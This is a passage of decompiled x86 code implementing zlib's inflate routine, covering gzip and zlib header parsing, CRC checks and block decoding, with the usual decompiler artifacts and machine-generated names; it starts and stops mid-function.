					_t1018 =  *((intOrPtr*)(_t1102 + 0x4c));
					L95:
					_t899 =  *(_t1102 + 0x48);
					_t866 =  *(_t1102 + 0x24);
					_t899[3] =  *(_t1102 + 0x20);
					_t899[4] =  *(_t1102 + 0x1c);
					_t899[1] = _t1095;
					_t1097 =  *((intOrPtr*)(_t1102 + 0x28));
					 *_t899 =  *(_t1102 + 0x14);
					_t866[0xe] = _t1062;
					_t866[0xf] = _t1089;
					if(_t866[0xa] != 0) {
						L100:
						_t722 = E001D6860(_t899, _t899[3], _t1097 - _t899[4]);
						_t1102 = _t1102 + 0xc;
						if(_t722 == 0) {
							L331:
							_t899 =  *(_t1102 + 0x48);
							goto L332;
						} else {
							L101:
							 *_t866 = 0x1e;
							L102:
							return 0xfffffffc;
						}
					} else {
						L96:
						if(_t1097 == _t899[4]) {
							L332:
							_t724 =  *(_t1102 + 0x38) - _t899[1];
							_t1098 = _t1097 - _t899[4];
							_t899[2] =  &(_t899[2][_t724]);
							_t899[5] =  &(_t899[5][_t1098]);
							_t866[7] = _t866[7] + _t1098;
							 *(_t1102 + 0x38) = _t724;
							if(_t866[2] == 0) {
								L337:
								_t1063 =  *(_t1102 + 0x48);
							} else {
								L333:
								if(_t1098 == 0) {
									goto L337;
								} else {
									L334:
									_push(_t1098);
									_push(_t899[3] - _t1098);
									_push(_t866[6]);
									if(_t866[4] == 0) {
										_t734 = E001D6950();
										_t1063 =  *(_t1102 + 0x54);
										_t1102 = _t1102 + 0xc;
										_t866[6] = _t734;
										_t1063[0xc] = _t734;
									} else {
										_t735 = E001D6BC0();
										_t1063 =  *(_t1102 + 0x54);
										_t1102 = _t1102 + 0xc;
										_t866[6] = _t735;
										_t1063[0xc] = _t735;
									}
								}
							}
							L338:
							_t1019 =  *_t866;
							if(_t1019 == 0x13) {
								L341:
								_t1091 = 0x100;
							} else {
								L339:
								if(_t1019 == 0xe) {
									goto L341;
								} else {
									L340:
									_t1091 = 0;
								}
							}
							L342:
							 *(_t1102 + 0x48) = 0x80;
							asm("sbb ecx, ecx");
							_t726 =  ==  ?  *(_t1102 + 0x48) : 0;
							_t727 = ( ==  ?  *(_t1102 + 0x48) : 0) + ( ~(_t866[1]) & 0x00000040) + _t1091;
							_t728 = ( ==  ?  *(_t1102 + 0x48) : 0) + ( ~(_t866[1]) & 0x00000040) + _t1091 + _t866[0xf];
							_t1063[0xb] = ( ==  ?  *(_t1102 + 0x48) : 0) + ( ~(_t866[1]) & 0x00000040) + _t1091 + _t866[0xf];
							if( *(_t1102 + 0x38) != 0) {
								L344:
								if( *((intOrPtr*)(_t1102 + 0x4c)) != 4) {
									L346:
									return  *(_t1102 + 0x2c);
								} else {
									goto L345;
								}
							} else {
								L343:
								if(_t1098 == 0) {
									L345:
									_t730 =  *(_t1102 + 0x2c);
									_t731 =  ==  ? 0xfffffffb : _t730;
									return  ==  ? 0xfffffffb : _t730;
								} else {
									goto L344;
								}
							}
						} else {
							L97:
							_t737 =  *_t866;
							if(_t737 >= 0x1d) {
								goto L332;
							} else {
								L98:
								if(_t737 < 0x1a) {
									goto L100;
								} else {
									L99:
									if(_t1018 == 4) {
										goto L332;
									} else {
										goto L100;
									}
								}
							}
						}
					}
					goto L347;
					L174:
					_t1089 = _t1089 - 0xe;
					_t1014 = _t1013 >> 5;
					_t1061[0x18] = (_t1013 & 0x0000001f) + 0x101;
					_t1015 = _t1014 >> 5;
					_t1061[0x19] = (_t1014 & 0x0000001f) + 1;
					_t1013 = _t1015 >> 4;
					 *(_t1102 + 0x10) = _t1013;
					_t1061[0x17] = (_t1015 & 0x0000000f) + 4;
					if(_t1061[0x18] > 0x11e) {
						L187:
						_t892[6] = "too many length or distance symbols";
						 *_t1061 = 0x1d;
						goto L167;
					} else {
						L175:
						if(_t1061[0x19] > 0x1e) {
							goto L187;
						} else {
							L176:
							_t1061[0x1a] = 0;
							 *_t1061 = 0x11;
							L177:
							if(_t1061[0x1a] >= _t1061[0x17]) {
								L183:
								while(_t1061[0x1a] < 0x13) {
									L184:
									 *(_t1061 + 0x70 + ( *(0x1f2108 + _t1061[0x1a] * 2) & 0x0000ffff) * 2) = 0;
									_t1061[0x1a] = _t1061[0x1a] + 1;
								}
								L185:
								_t742 =  &(_t1061[0x14c]);
								_t1061[0x15] = 7;
								_t906 =  &(_t1061[0x1b]);
								_t1061[0x13] = _t742;
								 *_t906 = _t742;
								_push( &(_t1061[0xbc]));
								_push( &(_t1061[0x15]));
								_push(_t906);
								_push(0x13);
								_push( &(_t1061[0x1c]));
								_push(0);
								_t745 = E001D6E80();
								_t1102 = _t1102 + 0x18;
								 *(_t1102 + 0x2c) = _t745;
								if(_t745 == 0) {
									L188:
									_t1061[0x1a] = 0;
									 *_t1061 = 0x12;
									goto L189;
								} else {
									L186:
									_t892 =  *(_t1102 + 0x48);
									_t1013 =  *(_t1102 + 0x10);
									_t892[6] = "invalid code lengths set";
									 *_t1061 = 0x1d;
									while(1) {
										L167:
										_t692 =  *_t1061;
										if(_t692 > 0x1e) {
											break;
										}
										L1:
										switch( *((intOrPtr*)(_t692 * 4 +  &M001D6534))) {
											case 0:
												L2:
												_t702 = _t1061[2];
												if(_t702 != 0) {
													L4:
													__eflags = _t1089 - 0x10;
													if(_t1089 >= 0x10) {
														L9:
														__eflags = _t702 & 0x00000002;
														if((_t702 & 0x00000002) == 0) {
															L12:
															_t703 = _t1061[8];
															_t1061[4] = 0;
															__eflags = _t703;
															if(_t703 != 0) {
																 *(_t703 + 0x30) = 0xffffffff;
															}
															L14:
															__eflags = _t1061[2] & 0x00000001;
															if((_t1061[2] & 0x00000001) == 0) {
																L24:
																_t892[6] = "incorrect header check";
																 *_t1061 = 0x1d;
															} else {
																L15:
																_t706 = (_t1013 >> 8) + ((_t1013 & 0x000000ff) << 8);
																__eflags = _t706 % 0x1f;
																_t1013 =  *(_t1102 + 0x10);
																if(_t706 % 0x1f != 0) {
																	_t892 =  *(_t1102 + 0x48);
																	goto L24;
																} else {
																	L16:
																	__eflags = (_t1013 & 0x0000000f) - 8;
																	if((_t1013 & 0x0000000f) == 8) {
																		L18:
																		_t710 = _t1061[9];
																		_t1089 = _t1089 - 4;
																		_t1013 = _t1013 >> 4;
																		 *(_t1102 + 0x10) = _t1013;
																		_t898 = (_t1013 & 0x0000000f) + 8;
																		__eflags = _t710;
																		if(_t710 != 0) {
																			L21:
																			__eflags = _t898 - _t710;
																			if(_t898 <= _t710) {
																				goto L20;
																			} else {
																				_t892 =  *(_t1102 + 0x48);
																				_t892[6] = "invalid window size";
																				 *_t1061 = 0x1d;
																			}
																		} else {
																			_t1061[9] = _t898;
																			L20:
																			_push(0);
																			_push(0);
																			_push(0);
																			_t1061[5] = 1 << _t898;
																			_t713 = E001D6950();
																			_t1020 =  *(_t1102 + 0x1c);
																			_t1102 = _t1102 + 0xc;
																			_t892 =  *(_t1102 + 0x48);
																			_t1061[6] = _t713;
																			_t892[0xc] = _t713;
																			 *_t1061 =  !(_t1020 >> 8) & 0x00000002 | 0x00000009;
																			_t1013 = 0;
																			 *(_t1102 + 0x10) = 0;
																			_t1089 = 0;
																		}
																	} else {
																		_t892 =  *(_t1102 + 0x48);
																		_t892[6] = "unknown compression method";
																		 *_t1061 = 0x1d;
																	}
																}
															}
														} else {
															L10:
															__eflags = _t1013 - 0x8b1f;
															if(_t1013 != 0x8b1f) {
																goto L12;
															} else {
																_push(0);
																_push(0);
																_push(0);
																_t1061[6] = E001D6BC0();
																_push(2);
																_push(_t1102 + 0x24);
																 *(_t1102 + 0x2c) = 0x8b1f;
																_push(_t1061[6]);
																_t716 = E001D6BC0();
																_t1013 = 0;
																_t1061[6] = _t716;
																_t1102 = _t1102 + 0x18;
																 *(_t1102 + 0x10) = 0;
																_t1089 = 0;
																 *_t1061 = 1;
																goto L166;
															}
														}
														goto L167;
													} else {
														while(1) {
															L6:
															__eflags = _t1095;
															if(_t1095 == 0) {
																goto L93;
															}
															L7:
															_t739 = ( *_t864 & 0x000000ff) << _t1089;
															_t864 =  &(_t864[1]);
															_t1013 = _t1013 + _t739;
															 *(_t1102 + 0x14) = _t864;
															_t1089 = _t1089 + 8;
															 *(_t1102 + 0x10) = _t1013;
															_t1095 = _t1095 - 1;
															__eflags = _t1089 - 0x10;
															if(_t1089 < 0x10) {
																continue;
															} else {
																_t702 = _t1061[2];
																_t892 =  *(_t1102 + 0x48);
																goto L9;
															}
															goto L347;
														}
														goto L93;
													}
												} else {
													 *_t1061 = 0xc;
													goto L167;
												}
												goto L347;
											case 1:
												L25:
												__eflags = __esi - 0x10;
												if(__esi >= 0x10) {
													L29:
													__edi[4] = __edx;
													__eflags = __dl - 8;
													if(__dl == 8) {
														L31:
														__eflags = __edx & 0x0000e000;
														if((__edx & 0x0000e000) == 0) {
															L33:
															__ecx = __edi[8];
															__eflags = __ecx;
															if(__ecx != 0) {
																__edx = __edx >> 8;
																__eax = __edx >> 0x00000008 & 0x00000001;
																__eflags = __eax;
																 *__ecx = __eax;
															}
															__eflags = __edi[4] & 0x00000200;
															if((__edi[4] & 0x00000200) != 0) {
																 *(__esp + 0x18) = __dl;
																__eax = __esp + 0x18;
																_push(2);
																__eflags = __edx;
																_push(__eax);
																 *(__esp + 0x21) = __dl;
																_push(__edi[6]);
																__eax = E001D6BC0();
																__esp = __esp + 0xc;
																__edi[6] = __eax;
															}
															__edx = 0;
															 *__edi = 2;
															 *(__esp + 0x10) = 0;
															__esi = 0;
															goto L40;
														} else {
															L32:
															 *(__ecx + 0x18) = "unknown header flags set";
															 *__edi = 0x1d;
															goto L167;
														}
													} else {
														L30:
														 *(__ecx + 0x18) = "unknown compression method";
														 *__edi = 0x1d;
														goto L167;
													}
												} else {
													while(1) {
														L26:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L93;
														}
														L27:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x10;
														if(__esi < 0x10) {
															continue;
														} else {
															__ecx =  *(__esp + 0x48);
															goto L29;
														}
														goto L347;
													}
													goto L93;
												}
												goto L347;
											case 2:
												L38:
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L42:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 4) = __edx;
													}
													__eflags = __edi[4] & 0x00000200;
													if((__edi[4] & 0x00000200) != 0) {
														__eax = __edx;
														 *(__esp + 0x18) = __dl;
														__eax = __edx >> 8;
														 *(__esp + 0x19) = __al;
														__edx = __edx >> 0x10;
														 *(__esp + 0x1a) = __al;
														__eax = __esp + 0x18;
														_push(4);
														__eflags = __edx;
														_push(__eax);
														 *(__esp + 0x23) = __dl;
														_push(__edi[6]);
														__eax = E001D6BC0();
														__esp = __esp + 0xc;
														__edi[6] = __eax;
													}
													__edx = 0;
													 *__edi = 3;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													goto L49;
												} else {
													L39:
													while(1) {
														L40:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L93;
														}
														L41:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x20;
														if(__esi < 0x20) {
															continue;
														} else {
															goto L42;
														}
														goto L347;
													}
													goto L93;
												}
												goto L347;
											case 3:
												L47:
												__eflags = __esi - 0x10;
												if(__esi >= 0x10) {
													L51:
													__ecx = __edi[8];
													__eflags = __ecx;
													if(__ecx != 0) {
														__eax = __dl & 0x000000ff;
														 *(__ecx + 8) = __dl & 0x000000ff;
														__ecx = __edx;
														__eax = __edi[8];
														__ecx = __edx >> 8;
														__eflags = __ecx;
														 *(__edi[8] + 0xc) = __ecx;
													}
													__eflags = __edi[4] & 0x00000200;
													if((__edi[4] & 0x00000200) != 0) {
														 *(__esp + 0x18) = __dl;
														__eax = __esp + 0x18;
														_push(2);
														__eflags = __edx;
														_push(__eax);
														 *(__esp + 0x21) = __dl;
														_push(__edi[6]);
														__eax = E001D6BC0();
														__esp = __esp + 0xc;
														__edi[6] = __eax;
													}
													__edx = 0;
													 *__edi = 4;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													__eflags = 0;
													goto L56;
												} else {
													L48:
													while(1) {
														L49:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L93;
														}
														L50:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x10;
														if(__esi < 0x10) {
															continue;
														} else {
															goto L51;
														}
														goto L347;
													}
													goto L93;
												}
												goto L347;
											case 4:
												L56:
												__eflags = __edi[4] & 0x00000400;
												if((__edi[4] & 0x00000400) == 0) {
													L65:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 0x10) = 0;
													}
													goto L67;
												} else {
													L57:
													__eflags = __esi - 0x10;
													if(__esi >= 0x10) {
														L60:
														__eax = __edi[8];
														__edi[0x10] = __edx;
														__eflags = __eax;
														if(__eax != 0) {
															 *(__eax + 0x14) = __edx;
														}
														__eflags = __edi[4] & 0x00000200;
														if((__edi[4] & 0x00000200) != 0) {
															 *(__esp + 0x18) = __dl;
															__eax = __esp + 0x18;
															_push(2);
															__eflags = __edx;
															_push(__eax);
															 *(__esp + 0x21) = __dl;
															_push(__edi[6]);
															__eax = E001D6BC0();
															__esp = __esp + 0xc;
															__edi[6] = __eax;
														}
														__ecx = 0;
														__esi = 0;
														 *(__esp + 0x10) = 0;
														L67:
														 *__edi = 5;
														goto L68;
													} else {
														while(1) {
															L58:
															__eflags = __ebp;
															if(__ebp == 0) {
																goto L93;
															}
															L59:
															__eax =  *__ebx & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebx & 0x000000ff) << __cl;
															__ebx = __ebx + 1;
															__edx = __edx + __eax;
															 *(__esp + 0x14) = __ebx;
															__esi = __esi + 8;
															 *(__esp + 0x10) = __edx;
															__ebp = __ebp - 1;
															__eflags = __esi - 0x10;
															if(__esi < 0x10) {
																continue;
															} else {
																goto L60;
															}
															goto L347;
														}
														goto L93;
													}
												}
												goto L347;
											case 5:
												L68:
												__eflags = __edi[4] & 0x00000400;
												if((__edi[4] & 0x00000400) == 0) {
													L80:
													__edi[0x10] = 0;
													 *__edi = 6;
													goto L81;
												} else {
													L69:
													__ecx = __edi[0x10];
													__eflags = __ecx - __ebp;
													__ecx =  >  ? __ebp : __ecx;
													 *(__esp + 0x30) = __ecx;
													__eflags = __ecx;
													if(__ecx != 0) {
														__edx = __edi[8];
														__eflags = __edx;
														if(__edx != 0) {
															__eax =  *(__edx + 0x10);
															 *(__esp + 0x14) = __eax;
															__eflags = __eax;
															if(__eax != 0) {
																__eax =  *(__edx + 0x14);
																__eax =  *(__edx + 0x14) - __edi[0x10];
																__edx =  *(__edx + 0x18);
																 *(__esp + 0x34) = __eax;
																__eflags = __eax - __edx;
																__eax =  *(__esp + 0x34);
																if(__eflags <= 0) {
																	__edx = __ecx;
																} else {
																	__edx = __edx - __eax;
																}
																__eflags = __eax;
																__eax = E001D8850(__eax, __ebx, __edx);
																__ecx =  *(__esp + 0x3c);
															}
														}
														__eflags = __edi[4] & 0x00000200;
														if((__edi[4] & 0x00000200) != 0) {
															_push(__ecx);
															_push(__ebx);
															_push(__edi[6]);
															__eax = E001D6BC0();
															__esp = __esp + 0xc;
															__edi[6] = __eax;
														}
														__eax =  *(__esp + 0x30);
														__ebx = __ebx + __eax;
														__ebp = __ebp - __eax;
														 *(__esp + 0x14) = __ebx;
														_t131 =  &(__edi[0x10]);
														 *_t131 = __edi[0x10] - __eax;
														__eflags =  *_t131;
													}
													__eflags = __edi[0x10];
													if(__edi[0x10] != 0) {
														goto L93;
													} else {
														goto L80;
													}
												}
												goto L347;
											case 6:
												L81:
												__eflags = __edi[4] & 0x00000800;
												if((__edi[4] & 0x00000800) == 0) {
													L103:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 0x1c) = 0;
													}
													goto L105;
												} else {
													L82:
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L93;
													} else {
														L83:
														__ecx = 0;
														__eflags = 0;
														while(1) {
															L84:
															__eax =  *(__ecx + __ebx) & 0x000000ff;
															__ecx = __ecx + 1;
															 *(__esp + 0x30) = __eax;
															__eax = __edi[8];
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__eax + 0x1c);
																__eflags =  *(__eax + 0x1c);
																if( *(__eax + 0x1c) != 0) {
																	__edx = __edi[0x10];
																	__eflags = __edx -  *((intOrPtr*)(__eax + 0x20));
																	if(__edx <  *((intOrPtr*)(__eax + 0x20))) {
																		__eax =  *(__eax + 0x1c);
																		__ebx =  *(__esp + 0x30);
																		 *(__eax + __edx) = __bl;
																		_t147 =  &(__edi[0x10]);
																		 *_t147 = __edi[0x10] + 1;
																		__eflags =  *_t147;
																		__ebx =  *(__esp + 0x14);
																	}
																}
															}
															__eax =  *(__esp + 0x30);
															__eflags = __eax;
															if(__eax == 0) {
																break;
															}
															L89:
															__eflags = __ecx - __ebp;
															if(__ecx < __ebp) {
																continue;
															}
															break;
														}
														L90:
														__eflags = __edi[4] & 0x00000200;
														 *(__esp + 0x34) = __ecx;
														if((__edi[4] & 0x00000200) != 0) {
															_push(__ecx);
															_push(__ebx);
															_push(__edi[6]);
															__eax = E001D6BC0();
															__ecx =  *(__esp + 0x40);
															__esp = __esp + 0xc;
															__edi[6] = __eax;
															__eax =  *(__esp + 0x30);
														}
														__ebx = __ebx + __ecx;
														__ebp = __ebp - __ecx;
														 *(__esp + 0x14) = __ebx;
														__eflags = __eax;
														if(__eax == 0) {
															L105:
															__edi[0x10] = 0;
															 *__edi = 7;
															goto L106;
														} else {
															goto L93;
														}
													}
												}
												goto L347;
											case 7:
												L106:
												__eflags = __edi[4] & 0x00001000;
												if((__edi[4] & 0x00001000) == 0) {
													L119:
													__eax = __edi[8];
													__eflags = __eax;
													if(__eax != 0) {
														 *(__eax + 0x24) = 0;
													}
													goto L121;
												} else {
													L107:
													__eflags = __ebp;
													if(__ebp == 0) {
														goto L93;
													} else {
														L108:
														__ecx = 0;
														__eflags = 0;
														while(1) {
															L109:
															__eax =  *(__ecx + __ebx) & 0x000000ff;
															__ecx = __ecx + 1;
															 *(__esp + 0x30) = __eax;
															__eax = __edi[8];
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__eax + 0x24);
																__eflags =  *(__eax + 0x24);
																if( *(__eax + 0x24) != 0) {
																	__edx = __edi[0x10];
																	__eflags = __edx -  *((intOrPtr*)(__eax + 0x28));
																	if(__edx <  *((intOrPtr*)(__eax + 0x28))) {
																		__eax =  *(__eax + 0x24);
																		__ebx =  *(__esp + 0x30);
																		 *(__eax + __edx) = __bl;
																		_t192 =  &(__edi[0x10]);
																		 *_t192 = __edi[0x10] + 1;
																		__eflags =  *_t192;
																		__ebx =  *(__esp + 0x14);
																	}
																}
															}
															__eax =  *(__esp + 0x30);
															__eflags = __eax;
															if(__eax == 0) {
																break;
															}
															L114:
															__eflags = __ecx - __ebp;
															if(__ecx < __ebp) {
																continue;
															}
															break;
														}
														L115:
														__eflags = __edi[4] & 0x00000200;
														 *(__esp + 0x34) = __ecx;
														if((__edi[4] & 0x00000200) != 0) {
															_push(__ecx);
															_push(__ebx);
															_push(__edi[6]);
															__eax = E001D6BC0();
															__ecx =  *(__esp + 0x40);
															__esp = __esp + 0xc;
															__edi[6] = __eax;
															__eax =  *(__esp + 0x30);
														}
														__ebx = __ebx + __ecx;
														__ebp = __ebp - __ecx;
														 *(__esp + 0x14) = __ebx;
														__eflags = __eax;
														if(__eax != 0) {
															goto L93;
														} else {
															L118:
															L121:
															__edx =  *(__esp + 0x10);
															 *__edi = 8;
															goto L122;
														}
													}
												}
												goto L347;
											case 8:
												L122:
												__eflags = __edi[4] & 0x00000200;
												if((__edi[4] & 0x00000200) == 0) {
													L130:
													__ecx = __edi[8];
													__eflags = __ecx;
													if(__ecx != 0) {
														__edi[4] = __edi[4] >> 9;
														__eax = __edi[4] >> 0x00000009 & 0x00000001;
														__eflags = __eax;
														 *(__ecx + 0x2c) = __eax;
														__eax = __edi[8];
														 *(__edi[8] + 0x30) = 1;
													}
													_push(0);
													_push(0);
													_push(0);
													__eax = E001D6BC0();
													__ecx =  *(__esp + 0x54);
													__esp = __esp + 0xc;
													__edx =  *(__esp + 0x10);
													__edi[6] = __eax;
													 *(__ecx + 0x30) = __eax;
													 *__edi = 0xb;
													goto L167;
												} else {
													L123:
													__eflags = __esi - 0x10;
													if(__esi >= 0x10) {
														L127:
														__eax = __edi[6] & 0x0000ffff;
														__eflags = __edx - __eax;
														if(__edx == __eax) {
															L129:
															__ecx = 0;
															__esi = 0;
															__eflags = 0;
															 *(__esp + 0x10) = 0;
															goto L130;
														} else {
															L128:
															__ecx =  *(__esp + 0x48);
															 *(__ecx + 0x18) = "header crc mismatch";
															 *__edi = 0x1d;
														}
														goto L167;
													} else {
														L124:
														while(1) {
															L125:
															__eflags = __ebp;
															if(__ebp == 0) {
																goto L93;
															}
															L126:
															__eax =  *__ebx & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebx & 0x000000ff) << __cl;
															__ebx = __ebx + 1;
															__edx = __edx + __eax;
															 *(__esp + 0x14) = __ebx;
															__esi = __esi + 8;
															 *(__esp + 0x10) = __edx;
															__ebp = __ebp - 1;
															__eflags = __esi - 0x10;
															if(__esi < 0x10) {
																continue;
															} else {
																goto L127;
															}
															goto L347;
														}
														goto L93;
													}
												}
												goto L347;
											case 9:
												L133:
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L136:
													__ecx = __edx;
													__edx = __edx << 0x10;
													__edx & 0x0000ff00 = (__edx & 0x0000ff00) + (__edx << 0x10);
													__edx = __edx >> 8;
													__ecx = (__edx & 0x0000ff00) + (__edx << 0x10) << 8;
													__eax = __edx >> 0x00000008 & 0x0000ff00;
													__eax = (__edx >> 0x00000008 & 0x0000ff00) + ((__edx & 0x0000ff00) + (__edx << 0x10) << 8);
													__edx = __edx >> 0x18;
													__ecx =  *(__esp + 0x48);
													__eax = __eax + __edx;
													__edx = 0;
													__edi[6] = __eax;
													 *(__esp + 0x10) = 0;
													__esi = 0;
													__eflags = 0;
													 *(__ecx + 0x30) = __eax;
													 *__edi = 0xa;
													goto L137;
												} else {
													while(1) {
														L134:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L93;
														}
														L135:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x20;
														if(__esi < 0x20) {
															continue;
														} else {
															goto L136;
														}
														goto L347;
													}
													goto L93;
												}
												goto L347;
											case 0xa:
												L137:
												__eflags = __edi[3];
												if(__edi[3] == 0) {
													L323:
													__eax =  *(__esp + 0x20);
													 *(__ecx + 0xc) =  *(__esp + 0x20);
													__eax =  *(__esp + 0x1c);
													 *(__ecx + 0x10) =  *(__esp + 0x1c);
													__eax = 2;
													 *__ecx = __ebx;
													 *(__ecx + 4) = __ebp;
													__edi[0xf] = __esi;
													_pop(__esi);
													_pop(__ebp);
													_pop(__ebx);
													__edi[0xe] = __edx;
													_pop(__edi);
													__esp = __esp + 0x34;
													return 2;
												} else {
													L138:
													_push(0);
													_push(0);
													_push(0);
													__eax = E001D6950();
													__ecx =  *(__esp + 0x54);
													__esp = __esp + 0xc;
													__edx =  *(__esp + 0x10);
													__edi[6] = __eax;
													 *(__ecx + 0x30) = __eax;
													 *__edi = 0xb;
													goto L139;
												}
												goto L347;
											case 0xb:
												L139:
												__eax =  *(__esp + 0x4c);
												__eflags = __eax - 5;
												if(__eax == 5) {
													L330:
													__edi =  *(__esp + 0x10);
													__edx = __eax;
													goto L95;
												} else {
													L140:
													__eflags = __eax - 6;
													if(__eax == 6) {
														goto L330;
													} else {
														goto L141;
													}
												}
												goto L347;
											case 0xc:
												L141:
												__eflags = __edi[1];
												if(__edi[1] == 0) {
													L143:
													__eflags = __esi - 3;
													if(__esi >= 3) {
														L146:
														__eax = __edx;
														__edx = __edx >> 1;
														__edi[1] = __eax;
														__eax = __edx;
														__eax = __edx & 0x00000003;
														switch( *((intOrPtr*)(__eax * 4 +  &M001D65B0))) {
															case 0:
																L147:
																 *__edi = 0xd;
																goto L148;
															case 1:
																L149:
																__eflags =  *(__esp + 0x4c) - 6;
																__edi[0x13] = 0x1f1888;
																__edi[0x15] = 9;
																__edi[0x14] = 0x1f2088;
																__edi[0x16] = 5;
																 *__edi = 0x13;
																if( *(__esp + 0x4c) != 6) {
																	L148:
																	__ecx =  *(__esp + 0x48);
																	__edx = __edx >> 2;
																	__esi = __esi - 3;
																	 *(__esp + 0x10) = __edx;
																	goto L167;
																} else {
																	L150:
																	__edx = __edx >> 2;
																	__esi = __esi - 3;
																	 *(__esp + 0x10) = __edx;
																	goto L93;
																}
																goto L347;
															case 2:
																L151:
																__ecx =  *(__esp + 0x48);
																__edx = __edx >> 2;
																__esi = __esi - 3;
																 *__edi = 0x10;
																 *(__esp + 0x10) = __edx;
																goto L167;
															case 3:
																L152:
																__ecx =  *(__esp + 0x48);
																__edx = __edx >> 2;
																__esi = __esi - 3;
																 *(__esp + 0x10) = __edx;
																 *(__ecx + 0x18) = "invalid block type";
																 *__edi = 0x1d;
																goto L167;
														}
													} else {
														while(1) {
															L144:
															__eflags = __ebp;
															if(__ebp == 0) {
																goto L93;
															}
															L145:
															__eax =  *__ebx & 0x000000ff;
															__ecx = __esi;
															__eax = ( *__ebx & 0x000000ff) << __cl;
															__ebx = __ebx + 1;
															__edx = __edx + __eax;
															 *(__esp + 0x14) = __ebx;
															__esi = __esi + 8;
															 *(__esp + 0x10) = __edx;
															__ebp = __ebp - 1;
															__eflags = __esi - 3;
															if(__esi < 3) {
																continue;
															} else {
																goto L146;
															}
															goto L347;
														}
														goto L93;
													}
												} else {
													L142:
													__ecx = __esi;
													 *__edi = 0x1a;
													__ecx = __esi & 0x00000007;
													__edx = __edx >> __cl;
													__esi = __esi - __ecx;
													 *(__esp + 0x10) = __edx;
													goto L166;
												}
												goto L347;
											case 0xd:
												L153:
												__esi = __esi & 0x00000007;
												__edx = __edx >> __cl;
												__esi = __esi - (__esi & 0x00000007);
												 *(__esp + 0x10) = __edx;
												__eflags = __esi - 0x20;
												if(__esi >= 0x20) {
													L157:
													__eax = __edx;
													__ecx = __dx & 0x0000ffff;
													__eax =  !__edx;
													__eax =  !__edx >> 0x10;
													__eflags = __ecx - __eax;
													if(__ecx == __eax) {
														L159:
														__edx = 0;
														__edi[0x10] = __ecx;
														__esi = 0;
														 *(__esp + 0x10) = 0;
														__eflags =  *(__esp + 0x4c) - 6;
														 *__edi = 0xe;
														if( *(__esp + 0x4c) == 6) {
															L329:
															__edi = 0;
															goto L94;
														} else {
															L160:
															__ecx =  *(__esp + 0x48);
															goto L161;
														}
													} else {
														L158:
														__ecx =  *(__esp + 0x48);
														 *(__ecx + 0x18) = "invalid stored block lengths";
														 *__edi = 0x1d;
														goto L167;
													}
												} else {
													L154:
													asm("o16 nop [eax+eax]");
													while(1) {
														L155:
														__eflags = __ebp;
														if(__ebp == 0) {
															goto L93;
														}
														L156:
														__eax =  *__ebx & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebx & 0x000000ff) << __cl;
														__ebx = __ebx + 1;
														__edx = __edx + __eax;
														 *(__esp + 0x14) = __ebx;
														__esi = __esi + 8;
														 *(__esp + 0x10) = __edx;
														__ebp = __ebp - 1;
														__eflags = __esi - 0x20;
														if(__esi < 0x20) {
															continue;
														} else {
															goto L157;
														}
														goto L347;
													}
													goto L93;
												}
												goto L347;
											case 0xe:
												L161:
												 *__edi = 0xf;
												goto L162;
											case 0xf:
												L162:
												__eax = __edi[0x10];
												__eflags = __eax;
												if(__eax == 0) {
													L169:
													 *__edi = 0xb;
													goto L167;
												} else {
													L163:
													__eflags = __eax - __ebp;
													__eax =  >  ? __ebp : __eax;
													__eflags = __eax -  *(__esp + 0x1c);
													__eax =  >  ?  *(__esp + 0x1c) : __eax;
													 *(__esp + 0x34) = __eax;
													__eflags = __eax;
													if(__eax == 0) {
														goto L93;
													} else {
														L164:
														__eax = E001D8850( *((intOrPtr*)(__esp + 0x28)), __ebx, __eax);
														__eax =  *(__esp + 0x40);
														 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
														__ebx = __ebx + __eax;
														 *(__esp + 0x20) =  *(__esp + 0x20) + __eax;
														__ebp = __ebp - __eax;
														_t277 =  &(__edi[0x10]);
														 *_t277 = __edi[0x10] - __eax;
														__eflags =  *_t277;
														 *(__esp + 0x14) = __ebx;
														goto L165;
													}
												}
												goto L347;
											case 0x10:
												goto L0;
											case 0x11:
												goto L177;
											case 0x12:
												L189:
												__eflags = _t1061[0x1a] - _t1061[0x19] + _t1061[0x18];
